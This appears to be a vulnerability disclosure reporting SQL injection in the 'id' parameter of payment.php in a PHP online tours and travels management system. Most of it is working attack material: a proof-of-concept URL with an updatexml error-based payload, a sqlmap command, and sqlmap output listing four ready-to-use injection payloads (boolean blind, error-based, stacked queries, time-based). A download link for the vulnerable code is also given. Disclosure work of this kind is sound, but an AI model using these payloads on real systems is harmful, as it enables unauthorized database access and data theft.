path: admin/operations/payment.php
Abstract:
Line 43 of payment.php invokes a SQL query built with input that comes from an untrusted source. This call could allow an attacker to modify the statement’s meaning or to execute arbitrary SQL commands.
Explanation:
SQL injection errors occur when:
-
Data enters a program from an untrusted source.
-
The data is used to dynamically construct a SQL query.
In this case, the data is passed to exec() in payment.php on line 43.
http://127.0.0.1/OTMSP-Final-source-code/sourcecode/tour/admin/operations/payment.php?id=1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
sqlmap.py -r sql.txt
sqlmap identified the following injection point(s) with a total of 1090 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: id=1' RLIKE (SELECT (CASE WHEN (9940=9940) THEN 1 ELSE 0x28 END))-- FVhh
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: id=1' AND GTID_SUBSET(CONCAT(0x7170787671,(SELECT (ELT(5607=5607,1))),0x716b6a6b71),5607)-- hjwK
Type: stacked queries
Title: MySQL >= 5.0.12 stacked queries (comment)
Payload: id=1';SELECT SLEEP(5)#
Type: time-based blind
Title: MySQL < 5.0.12 AND time-based blind (BENCHMARK)
Payload: id=1' AND 9264=BENCHMARK(5000000,MD5(0x4d5a4c7a))-- vYxx
---
Download Code:
https://www.sourcecodester.com/php/14510/online-tours-travels-management-system-project-using-php-and-mysql.html